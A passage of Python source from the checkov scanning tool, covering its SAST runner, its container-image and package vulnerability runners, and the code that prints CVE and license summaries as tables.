all_data.get('all', []) if current_imports: sast_imports_report[report.language][file_name] = {'all': current_imports} aliases = all_data.get('aliases', {}) sast_imports_report[report.language][file_name]['aliases'] = aliases return {"imports": sast_imports_report} @staticmethod def get_sast_reachability_report(scan_reports: List[SastReport]) -> Dict[str, Any]: first_found_repo_name = None sast_reachability_report: Dict[SastLanguages, Any] = {} for report in scan_reports: sast_reachability_report[report.language] = {} for report in scan_reports: for repo_name, repo_data in report.sast_reachability.items(): # validating we are dealing only with one repo, as it happens for imports report if first_found_repo_name: if repo_name != first_found_repo_name: logging.error(f'[get_sast_reachability_report] - found more than one repository in ' f'the scan reports. {scan_reports}') return {"reachability": {}} else: first_found_repo_name = repo_name for file_name, file_data in repo_data.files.items(): sast_reachability_report[report.language][file_name] = file_data return {"reachability": sast_reachability_report} ================================================ FILE: checkov/sast/runner.py ================================================ from __future__ import annotations import logging import os import sys from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.common.output.report import Report from checkov.common.runners.base_runner import BaseRunner from checkov.common.sast.consts import SUPPORT_FILE_EXT, FILE_EXT_TO_SAST_LANG, CDKLanguages, CDK_CHECKS_DIR_PATH from checkov.runner_filter import RunnerFilter from checkov.sast.checks_infra.base_registry import Registry from checkov.sast.engines.prisma_engine import PrismaEngine, get_machine from typing import List, Optional logger = logging.getLogger(__name__) class Runner(BaseRunner[None, None, None]): check_type = CheckType.SAST # noqa: CCE003 # a static attribute def __init__(self) -> None: super().__init__(file_extensions=["." + a for a in FILE_EXT_TO_SAST_LANG.keys()]) self.registry = Registry() self.engine = PrismaEngine() # noqa: disallow-untyped-calls self.cdk_langs: List[CDKLanguages] = [] def should_scan_file(self, file: str) -> bool: for extensions in SUPPORT_FILE_EXT.values(): for extension in extensions: if file.endswith(extension): return True return False def run(self, root_folder: Optional[str], external_checks_dir: Optional[List[str]] = None, files: Optional[List[str]] = None, runner_filter: Optional[RunnerFilter] = None, collect_skip_comments: bool = True) -> List[Report]: # We support only windows amd if sys.platform.startswith('win') and not get_machine() == "amd64": logger.warning('Skip SAST for windows arm') # TODO: Enable SAST for windows arm runners. return [Report(self.check_type)] if not runner_filter: logger.warning('no runner filter') return [Report(self.check_type)] if bc_integration.daemon_process: # only happens for 'ParallelizationType.SPAWN' bc_integration.setup_http_manager() bc_integration.set_s3_client() # registry get all the paths self.registry.set_runner_filter(runner_filter) self.registry.add_external_dirs(external_checks_dir) targets = [] if root_folder: if not os.path.isabs(root_folder): root_folder = os.path.abspath(root_folder) targets.append(root_folder) if files: targets.extend([a if os.path.isabs(a) else os.path.abspath(a) for a in files]) if self.cdk_langs: self.registry.checks_dirs_path.append(str(CDK_CHECKS_DIR_PATH)) reports = [] try: reports = self.engine.get_reports(targets, self.registry, runner_filter.sast_languages, self.cdk_langs) except BaseException as e: # noqa: B036 logger.error(f"got error when try to run prisma sast: {e}") return reports ================================================ FILE: checkov/sca_image/__init__.py ================================================ ================================================ FILE: checkov/sca_image/models.py ================================================ from __future__ import annotations from dataclasses import dataclass from typing import Any @dataclass class ReportCVE: cveId: str status: str severity: str packageName: str packageVersion: str link: str | None publishedDate: str cvss: int | None vector: str | None description: str | None riskFactors: Any | None ================================================ FILE: checkov/sca_image/runner.py ================================================ from __future__ import annotations import asyncio import json import logging import os.path from collections.abc import Iterable from pathlib import Path from typing import Optional, Union, Dict, Any from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.common.bridgecrew.platform_key import bridgecrew_dir from checkov.common.bridgecrew.vulnerability_scanning.image_scanner import image_scanner, TWISTCLI_FILE_NAME from checkov.common.bridgecrew.vulnerability_scanning.integrations.docker_image_scanning import \ docker_image_scanning_integration from checkov.common.images.image_referencer import ImageReferencer, Image from checkov.common.output.report import Report, merge_reports from checkov.common.bridgecrew.check_type import CheckType from checkov.common.output.common import ImageDetails from checkov.common.models.enums import ErrorStatus from checkov.common.runners.base_runner import filter_ignored_paths, strtobool from checkov.common.sca.commons import should_run_scan from checkov.common.sca.output import add_to_report_sca_data, get_license_statuses from checkov.common.util.file_utils import compress_file_gzip_base64 from checkov.common.util.dockerfile import is_dockerfile from checkov.common.util.http_utils import request_wrapper from checkov.runner_filter import RunnerFilter from checkov.sca_package_2.runner import Runner as PackageRunner class Runner(PackageRunner): check_type = CheckType.SCA_IMAGE # noqa: CCE003 # a static attribute def __init__(self) -> None: super().__init__(report_type=self.check_type) self._check_class: Optional[str] = None self._code_repo_path: Optional[Path] = None self._check_class = f"{image_scanner.__module__}.{image_scanner.__class__.__qualname__}" self.raw_report: Optional[Dict[str, Any]] = None self.base_url = bc_integration.api_url self.image_referencers: set[ImageReferencer] | None = None def should_scan_file(self, filename: str) -> bool: return is_dockerfile(os.path.basename(filename)) def scan( self, image_id: str, dockerfile_path: str, runner_filter: RunnerFilter | None = None, ) -> Dict[str, Any] | None: runner_filter = runner_filter or RunnerFilter() # skip complete run, if flag '--check' was used without a CVE check ID or the license policies if not should_run_scan(runner_filter.checks): return {} if not bc_integration.bc_api_key: logging.info("The --bc-api-key flag needs to be set to run SCA package scanning") return {} logging.info(f"SCA image scanning is scanning the image {image_id}") cached_results: Dict[str, Any] | None = image_scanner.get_scan_results_from_cache(image_id) if cached_results: logging.info(f"Found cached scan results of image {image_id}") return cached_results setup_status: bool = image_scanner.setup_scan(image_id, dockerfile_path, skip_extract_image_name=False) if not setup_status: return None if not setup_status: return None output_path = Path(f'results-{image_id}.json') scan_result = asyncio.run(self.execute_scan(image_id, output_path)) self.upload_results_to_cache(output_path, image_id) logging.info(f"SCA image scanning successfully scanned the image {image_id}") return scan_result async def execute_scan( self, image_id: str, output_path: Path, ) -> Dict[str, Any]: command = f"{Path(bridgecrew_dir) / TWISTCLI_FILE_NAME} images scan --address {docker_image_scanning_integration.get_proxy_address()} --token {docker_image_scanning_integration.get_bc_api_key()} --details --output-file \"{output_path}\" {image_id}" process = await asyncio.create_subprocess_shell( command, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE ) stdout, stderr = await process.communicate() # log output for debugging try: logging.debug(stdout.decode()) except UnicodeDecodeError: logging.error("error was caught when trying to decode the \'stdout\' from twistcli.\n" f"file content is:\n{image_scanner.dockerfile_content}.\n" f"twistcli command is \'{command}\'", exc_info=True) exit_code = await process.wait() if exit_code: logging.error(f"error when running twistcli on image_id {image_id}") logging.error(stderr.decode()) return {} # read the report file scan_result: Dict[str, Any] = json.loads(output_path.read_text()) return scan_result def upload_results_to_cache(self, output_path: Path, image_id: str) -> None: try: image_id_sha = f"sha256:{image_id}" if not image_id.startswith("sha256:") else image_id request_body = { "compressedResult": compress_file_gzip_base64(str(output_path)), "compressionMethod": "gzip", "id": image_id_sha } response = request_wrapper( "POST", f"{self.base_url}/api/v1/vulnerabilities/scan-results", headers=bc_integration.get_default_headers("POST"), data=json.dumps(request_body) ) if response.ok: logging.info(f"Successfully uploaded scan results to cache with id={image_id}") else: logging.info(f"Failed to upload scan results to cache with id={image_id}") output_path.unlink() except Exception: logging.debug( "Unexpected failure happened during uploading results to cache. details are below.\n" "Note that the scan is still running. if this is repeated, please report.", exc_info=True) def run( self, root_folder: str | Path | None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True, **kwargs: str ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() if not runner_filter.show_progress_bar: self.pbar.turn_off_progress_bar() self._code_repo_path = Path(root_folder) if root_folder else None if "dockerfile_path" in kwargs and "image_id" in kwargs: dockerfile_path = kwargs['dockerfile_path'] image_id = kwargs['image_id'] return self.get_image_id_report(dockerfile_path, image_id, runner_filter) report = Report(self.check_type) if not files and not root_folder: logging.debug("No resources to scan.") return report if files: self.pbar.initiate(len(files)) # 'root_folder' should contain the common prefix so the absolute full path can be shortened later root_folder = os.path.split(os.path.commonprefix(files))[0] for file in files: self.pbar.set_additional_data({'Current File Scanned': os.path.relpath(file, root_folder)}) self.iterate_image_files(file, report, runner_filter) self.pbar.update() self.pbar.close() if self._code_repo_path: for root, d_names, f_names in os.walk(self._code_repo_path): filter_ignored_paths(root, d_names, runner_filter.excluded_paths, included_paths=self.included_paths()) filter_ignored_paths(root, f_names, runner_filter.excluded_paths, included_paths=self.included_paths()) for file in f_names: abs_fname = os.path.join(root, file) self.iterate_image_files(abs_fname, report, runner_filter, self._code_repo_path) return report def iterate_image_files(self, abs_fname: str, report: Report, runner_filter: RunnerFilter, root_folder: Union[str, Path, None] = None) -> None: """ Get workflow file, and get the list of images from every relevant imagereferencer, and create a unified vulnrability report :param root_folder: for CLI scans - the directory in which checkov runs :param abs_fname: file path to inspect :param report: unified report object :param runner_filter: filter for report """ if not self.image_referencers: return for image_referencer in self.image_referencers: if image_referencer.is_workflow_file(abs_fname): images = image_referencer.get_images(file_path=abs_fname) for image in images: image_cached_result: Dict[str, Any] | None = image_scanner.get_scan_results_from_cache( f"image:{image.name}") image_cached_report: dict[str, Any] = self.get_image_cached_results(dockerfile_path=abs_fname, image=image, image_cached_result=image_cached_result, root_folder=root_folder) if image_cached_report: report.image_cached_results.append(image_cached_report) if strtobool(os.getenv('CHECKOV_CREATE_SCA_IMAGE_REPORTS_FOR_IR', "True")): image_report = self.get_image_report(dockerfile_path=abs_fname, image=image, runner_filter=runner_filter, image_cached_result=image_cached_result) merge_reports(report, image_report) def get_report_from_scan_result(self, result: Dict[str, Any], dockerfile_path: str, rootless_file_path: str, image_details: ImageDetails | None, runner_filter: RunnerFilter) -> Report: report = Report(self.check_type) vulnerabilities = result.get("vulnerabilities", []) packages = result.get("packages", []) license_statuses = get_license_statuses(packages) add_to_report_sca_data( report=report, check_class=self._check_class, scanned_file_path=os.path.abspath(dockerfile_path), rootless_file_path=rootless_file_path, runner_filter=runner_filter, vulnerabilities=vulnerabilities, packages=packages, license_statuses=license_statuses, sca_details=image_details, report_type=self.report_type ) return report def get_image_cached_results(self, dockerfile_path: str, image: Image, image_cached_result: Dict[str, Any] | None, root_folder: Union[str, Path, None] = None) -> dict[str, Any]: """ :param image_cached_result: twistcli result for image as saved in cache :param root_folder: for CLI scans - the directory in which checkov runs :param dockerfile_path: path of a file that might contain a container image :param image: Image object :return: cached_results report """ if not image_cached_result: # TODO: do we want to trigger a scan in this case? logging.info( f"No cache hit for image {image.name} when getting cached results for dockerfile {dockerfile_path}") return {} payload: dict[str, Any] = docker_image_scanning_integration.create_report( twistcli_scan_result=image_cached_result, bc_platform_integration=bc_integration, file_path=dockerfile_path, file_content=f'image: {image.name}', docker_image_name=image.name, related_resource_id=image.related_resource_id, root_folder=root_folder, error_lines=[image.start_line, image.end_line]) return payload def get_image_report(self, dockerfile_path: str, image: Image, runner_filter: RunnerFilter, image_cached_result: Dict[str, Any] | None) -> Report: """ :param dockerfile_path: path of a file that might contain a container image :param image: Image object :param runner_filter: :return: vulnerability report """ # skip complete run, if flag '--check' was used without a CVE check ID if not should_run_scan(runner_filter.checks): return Report(self.check_type) if image_cached_result: logging.info(f"Found cached scan results of image {image.name}") self.raw_report = image_cached_result result = image_cached_result.get('results', [{}])[0] image_id = self.extract_image_short_id(result) image_details = self.get_image_details_from_twistcli_result(scan_result=result, image_id=image_id, image_name=image.name, related_resource_id=image.related_resource_id) if self._code_repo_path: try: dockerfile_path = str(Path(dockerfile_path).relative_to(self._code_repo_path)) except ValueError: # Path.is_relative_to() was implemented in Python 3.9 pass rootless_file_path = dockerfile_path.replace(Path(dockerfile_path).anchor, "", 1) rootless_file_path_to_report = f"{rootless_file_path} ({image.name} lines:{image.start_line}-" \ f"{image.end_line} ({image_id}))" return self.get_report_from_scan_result(result, dockerfile_path, rootless_file_path_to_report, image_details, runner_filter) else: logging.info(f"No cache hit for image {image.name}") return Report(self.check_type) def get_image_id_report(self, dockerfile_path: str, image_id: str, runner_filter: RunnerFilter) -> Report: """ THIS METHOD HANDLES CUSTOM IMAGE SCANNING THAT COMES DIRECTLY FROM CLI PARAMETERS """ scan_result = self.scan(image_id, dockerfile_path, runner_filter) if scan_result is None: report = Report(self.check_type) report.set_error_status(ErrorStatus.ERROR) return report self.raw_report = scan_result result = scan_result.get('results', [{}])[0] image_details = self.get_image_details_from_twistcli_result(scan_result=result, image_id=image_id) if self._code_repo_path: try: dockerfile_path = str(Path(dockerfile_path).relative_to(self._code_repo_path)) except ValueError: # Path.is_relative_to() was implemented in Python 3.9 pass rootless_file_path = dockerfile_path.replace(Path(dockerfile_path).anchor, "", 1) rootless_file_path_to_report = f"{rootless_file_path} ({image_id})" return self.get_report_from_scan_result(result, dockerfile_path, rootless_file_path_to_report, image_details, runner_filter) def extract_image_short_id(self, scan_result: dict[str, Any]) -> str: """Extracts a shortened version of the image ID from the scan result""" if "id" not in scan_result: return "sha256:unknown" image_id: str = scan_result["id"] if image_id.startswith("sha256:"): return image_id[:17] return image_id[:10] def get_image_details_from_twistcli_result(self, scan_result: dict[str, Any], image_id: str, image_name: str | None = None, related_resource_id: str | None = None) -> ImageDetails: image_packages = scan_result.get('packages', []) image_package_types = { f'{package["name"]}@{package["version"]}': package['type'] for package in image_packages } return ImageDetails( distro=scan_result.get('distro', ''), distro_release=scan_result.get('distroRelease', ''), package_types=image_package_types, image_id=image_id, name=image_name, related_resource_id=related_resource_id ) def included_paths(self) -> Iterable[str]: return ['.github', '.circleci'] ================================================ FILE: checkov/sca_package_2/__init__.py ================================================ ================================================ FILE: checkov/sca_package_2/output.py ================================================ from __future__ import annotations import itertools import logging from collections import defaultdict from dataclasses import dataclass from typing import List, Union, Dict, Any from prettytable import PrettyTable, SINGLE_BORDER from checkov.common.bridgecrew.severities import BcSeverities from checkov.common.models.enums import CheckResult from checkov.common.output.record import Record, SCA_PACKAGE_SCAN_CHECK_NAME, SCA_LICENSE_CHECK_NAME from checkov.common.output.common import get_package_name_with_lines, validate_lines, get_reachability_output_indication from checkov.common.packaging import version as packaging_version from checkov.common.sca.commons import UNFIXABLE_VERSION, get_package_alias from checkov.common.typing import _LicenseStatusWithLines from checkov.common.output.common import compare_table_items_severity REACHABILITY_RISK_FACTORS_KEYS = ["IsUsed", "ReachableFunction"] @dataclass class CveCount: total: int = 0 critical: int = 0 high: int = 0 medium: int = 0 low: int = 0 skipped: int = 0 used: int = 0 has_fix: int = 0 to_fix: int = 0 fixable: bool = True def output_row(self) -> List[str]: return [ f"Total CVEs: {self.total}", f"critical: {self.critical}", f"high: {self.high}", f"medium: {self.medium}", f"low: {self.low}", f"skipped: {self.skipped}", f"Total Packages Used: {self.used}", ] def calculate_lowest_compliant_version( fix_versions_lists: List[List[Union[packaging_version.Version, packaging_version.LegacyVersion]]] ) -> str: """A best effort approach to find the lowest compliant version""" package_min_versions = set() package_versions = set() for fix_versions in fix_versions_lists: if fix_versions: package_min_versions.add(min(fix_versions)) package_versions.update(fix_versions) if package_min_versions: package_min_version = min(package_min_versions) package_max_version = max(package_min_versions) if isinstance(package_min_version, packaging_version.LegacyVersion) or isinstance( package_max_version, packaging_version.LegacyVersion ): return str(package_max_version) elif package_min_version.major == package_max_version.major: return str(package_max_version) else: lowest_version = max( version for version in package_versions if isinstance(version, packaging_version.Version) and version.major == package_max_version.major ) return str(lowest_version) return UNFIXABLE_VERSION def create_cli_output(fixable: bool = True, *cve_records: list[Record]) -> str: cli_outputs = [] group_by_file_path_package_map: dict[str, dict[str, list[Record]]] = defaultdict(dict) for record in itertools.chain(*cve_records): if not record.vulnerability_details: # this shouldn't happen logging.error(f"'vulnerability_details' is not set for {record.check_id}") continue if record.vulnerability_details.get("root_package_name"): _root_package_alias = get_package_alias( record.vulnerability_details["root_package_name"], record.vulnerability_details["root_package_version"]) else: # in case it's license record _root_package_alias = get_package_alias(record.vulnerability_details["package_name"], record.vulnerability_details["package_version"]) group_by_file_path_package_map[record.file_path].setdefault( _root_package_alias, []).append(record) for file_path, packages in group_by_file_path_package_map.items(): cve_count = CveCount(fixable=fixable) package_cves_details_map: dict[str, dict[str, Any]] = defaultdict(dict) package_licenses_details_map = defaultdict(list) should_print_licenses_table = False lines_details_found_cves = False lines_details_found_licenses = False for root_package_alias, records in packages.items(): fix_versions_lists = [] for record in records: if not record.vulnerability_details: # this shouldn't happen logging.error(f"'vulnerability_details' is not set for {record.check_id}") continue package_name = record.vulnerability_details["package_name"] package_version = record.vulnerability_details["package_version"] lines = validate_lines(record.file_line_range) if record.check_name == SCA_PACKAGE_SCAN_CHECK_NAME: cve_count.total += 1 if record.check_result["result"] == CheckResult.SKIPPED: cve_count.skipped += 1 continue else: cve_count.to_fix += 1 # best way to dynamically access a class instance attribute. # (we can't just do cve_count.severity_str to access the correct severity) severity_str = record.severity.name.upper() if record.severity else BcSeverities.NONE.upper() setattr(cve_count, severity_str.lower(), getattr(cve_count, severity_str.lower()) + 1) if record.vulnerability_details["lowest_fixed_version"] != UNFIXABLE_VERSION: cve_count.has_fix += 1 is_root_package = root_package_alias == get_package_alias(package_name, package_version) if is_root_package: # we want fixed versions just for root packages fix_versions_lists.append(record.vulnerability_details["fixed_versions"]) else: root_package_fix_version = record.vulnerability_details.get("root_package_fix_version") if root_package_fix_version: parsed_version = packaging_version.parse(root_package_fix_version.strip()) fix_versions_lists.append([parsed_version]) root_package_lines = validate_lines( record.vulnerability_details.get("root_package_file_line_range")) if lines or root_package_lines: lines_details_found_cves = True risk_factors = {} if not record.vulnerability_details or not record.vulnerability_details.get("risk_factors", {}) else record.vulnerability_details.get("risk_factors", {}) reachability_risk_factors_tmp = {key: value for key, value in risk_factors.items() if key in REACHABILITY_RISK_FACTORS_KEYS} if any([value for value in reachability_risk_factors_tmp.values()]): cve_count.used += 1 package_cves_details_map[root_package_alias].setdefault("cves", []).append( { "id": record.vulnerability_details["id"], "severity": severity_str, "fixed_version": record.vulnerability_details["lowest_fixed_version"], "root_package_name": record.vulnerability_details["root_package_name"], "root_package_version": record.vulnerability_details["root_package_version"], "root_package_fix_version": record.vulnerability_details.get("root_package_fix_version", ""), "package_name": package_name, "package_version": package_version, "lines": lines, "root_package_lines": root_package_lines, "is_private_fix": record.vulnerability_details.get("is_private_fix"), "reachability_risk_factors": reachability_risk_factors_tmp } ) elif record.check_name == SCA_LICENSE_CHECK_NAME: if record.check_result["result"] == CheckResult.SKIPPED: continue should_print_licenses_table = True if lines: lines_details_found_licenses = True package_licenses_details_map[get_package_alias(package_name, package_version)].append( _LicenseStatusWithLines(package_name=package_name, package_version=package_version, policy=record.vulnerability_details["policy"], license=record.vulnerability_details["license"], status=record.vulnerability_details["status"], lines=lines) ) if root_package_alias in package_cves_details_map: package_cves_details_map[root_package_alias]["cves"].sort(key=compare_table_items_severity, reverse=True) package_cves_details_map[root_package_alias]["compliant_version"] = calculate_lowest_compliant_version( fix_versions_lists) if cve_count.total > 0: cli_outputs.append( create_cli_cves_table( file_path=file_path, cve_count=cve_count, package_details_map=package_cves_details_map, lines_details_found=lines_details_found_cves ) ) if should_print_licenses_table: cli_outputs.append( create_cli_license_violations_table( file_path=file_path, package_licenses_details_map=package_licenses_details_map, lines_details_found=lines_details_found_licenses ) ) return "\n".join(cli_outputs) def create_cli_license_violations_table(file_path: str, package_licenses_details_map: Dict[str, List[_LicenseStatusWithLines]], lines_details_found: bool) -> str: package_table_lines: List[str] = [] columns = 5 table_width = 136 column_width = int(table_width / columns) package_table = PrettyTable(min_table_width=table_width, max_table_width=table_width) package_table.set_style(SINGLE_BORDER) package_table.field_names = [ "Package name [Lines]" if lines_details_found else "Package name", "Package version", "Policy ID", "License", ] for package_idx, (_, license_statuses) in enumerate(package_licenses_details_map.items()): if package_idx > 0: del package_table_lines[-1] package_table.header = False package_table.clear_rows() for idx, license_status in enumerate(license_statuses): col_package_name = "" col_package_version = "" if idx == 0: col_package_name = get_package_name_with_lines(license_status["package_name"], license_status["lines"]) col_package_version = license_status["package_version"] curr_row = [ col_package_name, col_package_version, license_status["policy"], license_status["license"] ] package_table.add_row(curr_row) package_table.align = "l" package_table.min_width = column_width package_table.max_width = column_width for idx, line in enumerate(package_table.get_string().splitlines(keepends=True)): if idx == 0 and package_idx != 0: # hack to make multiple tables look like one line = line.replace(package_table.top_left_junction_char, package_table.left_junction_char).replace( package_table.top_right_junction_char, package_table.right_junction_char ) if package_idx > 0: # hack to make multiple package tables look like one line = line.replace(package_table.top_junction_char, package_table.junction_char) # hack for making the table's width as same as the cves-table's package_table_lines.append(f"\t{line[:-2]}{line[-3]}{line[-2:]}") return ( f"\t{file_path} - Licenses Statuses:\n" f"{''.join(package_table_lines)}\n" ) def create_cli_cves_table(file_path: str, cve_count: CveCount, package_details_map: Dict[str, Dict[str, Any]], lines_details_found: bool) -> str: columns = 7 table_width = 165 fixed_line_with = 159 column_width = int(table_width / columns) cve_table_lines = create_cve_summary_table_part( table_width=table_width, column_width=column_width, cve_count=cve_count ) vulnerable_packages = True if package_details_map else False fixable_table_lines = create_fixable_cve_summary_table_part( table_width=fixed_line_with, column_count=columns, cve_count=cve_count, vulnerable_packages=vulnerable_packages ) package_table_lines = create_package_overview_table_part( table_width=table_width, column_width=column_width, package_details_map=package_details_map, lines_details_found=lines_details_found ) return ( f"\t{file_path} - CVEs Summary:\n" f"{''.join(cve_table_lines)}\n" f"{''.join(fixable_table_lines)}" f"{''.join(package_table_lines)}\n" ) def create_cve_summary_table_part(table_width: int, column_width: int, cve_count: CveCount) -> List[str]: cve_table = PrettyTable( header=False, padding_width=1, min_table_width=table_width, max_table_width=table_width, ) cve_table.set_style(SINGLE_BORDER) cve_table.add_row(cve_count.output_row()) cve_table.align = "l" cve_table.min_width = column_width cve_table.max_width = column_width cve_table.header = False # Python 3.12 reverts the header setting cve_table_lines = [f"\t{line}" for line in cve_table.get_string().splitlines(keepends=True)] # hack to make multiple tables look like one cve_table_bottom_line = ( cve_table_lines[-1].replace(cve_table.bottom_left_junction_char, cve_table.left_junction_char).replace(cve_table.bottom_right_junction_char, cve_table.right_junction_char) ) cve_table_lines[-1] = cve_table_bottom_line return cve_table_lines def create_fixable_cve_summary_table_part( table_width: int, column_count: int, cve_count: CveCount, vulnerable_packages: bool ) -> List[str]: fixable_table = PrettyTable( header=False, min_table_width=table_width + column_count - 4, max_table_width=table_width + column_count - 4 ) fixable_table.set_style(SINGLE_BORDER) if cve_count.fixable: fixable_table.add_row( [f"To fix {cve_count.has_fix}/{cve_count.to_fix} CVEs, go to your Prisma Cloud account"]) fixable_table.align = "l" fixable_table.header = False # Python 3.12 reverts the header setting else: return [] # hack to make multiple tables look like one fixable_table_lines = [f"\t{line}" for line in fixable_table.get_string().splitlines(keepends=True)] del fixable_table_lines[0] # only remove the last line, if there are vulnerable packages if vulnerable_packages: del fixable_table_lines[-1] return fixable_table_lines def create_package_overview_table_part( table_width: int, column_width: int, package_details_map: Dict[str, Dict[str, Any]], lines_details_found: bool ) -> str | Any: package_table_lines: List[str] = [] package_table = PrettyTable(min_table_width=table_width, max_table_width=table_width) package_table.set_style(SINGLE_BORDER) package_table.field_names = [ "Package [Lines]" if lines_details_found else "Package", "CVE ID", "Severity", "Current version", "Root fixed version", "Compliant version", "Reachability" ] for package_idx, (root_package_alias, details) in enumerate(package_details_map.items()): if package_idx > 0: del package_table_lines[-1] package_table.header = False package_table.clear_rows() details["cves"].sort(key=lambda x: ( "" if x["root_package_name"] == x['package_name'] else x['package_name'], x['package_version'])) last_package_alias = get_package_alias(details['cves'][-1]['package_name'], details['cves'][-1]['package_version']) previous_package = "" for cve_idx, cve in enumerate(details["cves"]): compliant_version = details.get("compliant_version", "") package_name = cve["package_name"] package_version = cve["package_version"] package_alias = get_package_alias(package_name, package_version) is_root = package_alias == root_package_alias is_public_overview = "(Public)" if cve['is_private_fix'] is False else "" reachability = get_reachability_output_indication(cve.get('reachability_risk_factors', {})) compliant_version_overview = "" if cve_idx == 0: cur_compliant_version = compliant_version + is_public_overview if compliant_version and compliant_version != UNFIXABLE_VERSION else compliant_version if not is_root: # no cves on root package package_name_col_val = get_package_name_with_lines(cve["root_package_name"], cve.get("root_package_lines")) package_table.add_row( [ package_name_col_val, "", "", cve["root_package_version"], "", cur_compliant_version, "" ] ) else: compliant_version_overview = cur_compliant_version is_sub_dep_changed = previous_package != package_alias dep_sign = "" if not is_root: if is_sub_dep_changed: if last_package_alias == package_alias: dep_sign = package_table.bottom_left_junction_char + package_table.horizontal_char else: dep_sign = package_table.left_junction_char + package_table.horizontal_char else: if last_package_alias != package_alias: dep_sign = package_table.vertical_char package_name_col_val = "" if is_sub_dep_changed: if dep_sign: package_name_col_val = " ".join([dep_sign, package_name]) else: package_name_col_val = package_name package_name_col_val = get_package_name_with_lines(package_name_col_val, cve.get("lines")) elif dep_sign: package_name_col_val = dep_sign fix_version = cve["fixed_version"] if is_root else cve.get("root_package_fix_version", "") fix_version_overview = fix_version + is_public_overview if fix_version and fix_version != UNFIXABLE_VERSION else fix_version package_table.add_row( [ package_name_col_val, cve["id"], cve["severity"], package_version if is_sub_dep_changed else "", fix_version_overview, compliant_version_overview, reachability ] ) previous_package = package_alias package_table.align = "l" package_table.min_width = column_width package_table.max_width = column_width for idx, line in enumerate(package_table.get_string().splitlines(keepends=True)): if idx == 0: # hack to make multiple tables look like one line = line.replace(package_table.top_left_junction_char, package_table.left_junction_char).replace( package_table.top_right_junction_char, package_table.right_junction_char ) if package_idx > 0: # hack to make multiple package tables look like one line = line.replace(package_table.top_junction_char, package_table.junction_char) package_table_lines.append(f"\t{line}") return package_table_lines ================================================ FILE: checkov/sca_package_2/runner.py ================================================ from __future__ import annotations import logging import os from pathlib import Path from typing import Any, List from checkov.common.bridgecrew.bc_source import IDEsSourceTypes from checkov.common.sca.commons import should_run_scan from checkov.common.sca.output import add_to_report_sca_data from checkov.common.typing import _LicenseStatus from checkov.common.bridgecrew.platform_integration import bc_integration, FileToPersist from checkov.common.models.consts import SCANNABLE_PACKAGE_FILES_EXTENSIONS, SCANNABLE_PACKAGE_FILES, \ SUPPORTED_PACKAGE_FILES from checkov.common.models.enums import ErrorStatus from checkov.common.output.report import Report from checkov.common.bridgecrew.check_type import CheckType from checkov.common.runners.base_runner import BaseRunner, ignored_directories from checkov.runner_filter import RunnerFilter from checkov.sca_package_2.scanner import Scanner class Runner(BaseRunner[None, None, None]): check_type = CheckType.SCA_PACKAGE # noqa: CCE003 # a static attribute def __init__(self, report_type: str = check_type) -> None: super().__init__(file_extensions=SCANNABLE_PACKAGE_FILES_EXTENSIONS, file_names=SCANNABLE_PACKAGE_FILES) self._check_class: str | None = None self._code_repo_path: Path | None = None self.report_type = report_type def _get_s3_file_key_to_abs_path(self, uploaded_files: List[FileToPersist]) -> dict[str, str]: s3_file_key_to_abs_path: dict[str, str] = dict() for item in uploaded_files: if item.s3_file_key in s3_file_key_to_abs_path: raise Exception("[_get_s3_file_key_to_abs_path] not expected that 2 files has the same s3-key") s3_file_key_to_abs_path[item.s3_file_key] = item.full_file_path return s3_file_key_to_abs_path def prepare_and_scan( self, root_folder: str | Path | None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, excluded_file_names: set[str] | None = None, ) -> tuple[dict[str, Any] | None, dict[str, str]]: runner_filter = runner_filter or RunnerFilter() excluded_file_names = excluded_file_names or set() # skip complete run, if flag '--check' was used without a CVE check ID or the license policies if not should_run_scan(runner_filter.checks): return None, dict() if not bc_integration.bc_api_key: logging.info("The --bc-api-key flag needs to be set to run SCA package scanning") return None, dict() if bc_integration.bc_source and bc_integration.bc_source.name in IDEsSourceTypes \ and not bc_integration.is_prisma_integration(): logging.info("The --bc-api-key flag needs to be set to a Prisma token for SCA scan for vscode or jetbrains extension") return {}, dict() # should just return an empty result self._code_repo_path = Path(root_folder) if root_folder else None if not bc_integration.timestamp and bc_integration.bc_source and not bc_integration.bc_source.upload_results: bc_integration.set_s3_integration() if bc_integration.daemon_process: # only happens for 'ParallelizationType.SPAWN' bc_integration.setup_http_manager() bc_integration.set_s3_client() excluded_paths = {*ignored_directories} if runner_filter.excluded_paths: excluded_paths.update(runner_filter.excluded_paths) uploaded_files: List[FileToPersist] | None = self.upload_package_files( root_path=self._code_repo_path, files=files, excluded_paths=excluded_paths, excluded_file_names=excluded_file_names, ) if uploaded_files is None: # failure happened during uploading return None, dict() if len(uploaded_files) == 0: # no packages were uploaded. we can skip the scanning return {}, dict() scanner = Scanner(self.pbar, root_folder) self._check_class = f"{scanner.__module__}.{scanner.__class__.__qualname__}" scan_results = scanner.scan() if scan_results is not None: logging.info(f"SCA package scanning successfully scanned {len(scan_results)} files") return scan_results, self._get_s3_file_key_to_abs_path(uploaded_files) def run( self, root_folder: str | Path | None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True, ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() if not runner_filter.show_progress_bar: self.pbar.turn_off_progress_bar() report = Report(self.check_type) scan_results, s3_file_key_to_abs_path = self.prepare_and_scan(root_folder, files, runner_filter) if scan_results is None: report.set_error_status(ErrorStatus.ERROR) return report for path, result in scan_results.items(): if not result: continue bc_integration.source_id = result.get("sourceId") package_file_path = Path(path) vulnerabilities = result.get("vulnerabilities") or [] packages = result.get("packages") or [] license_statuses = [_LicenseStatus(package_name=elm["packageName"], package_version=elm["packageVersion"], policy=elm["policy"], license=elm["license"], status=elm["status"]) for elm in result.get("license_statuses") or []] rootless_file_path = str(package_file_path).replace(package_file_path.anchor, "", 1) inline_suppressions = result.get("inlineSuppressions") add_to_report_sca_data( report=report, check_class=self._check_class, scanned_file_path=s3_file_key_to_abs_path.get(rootless_file_path, str(package_file_path)), rootless_file_path=rootless_file_path, runner_filter=runner_filter, vulnerabilities=vulnerabilities, packages=packages, license_statuses=license_statuses, report_type=self.report_type, 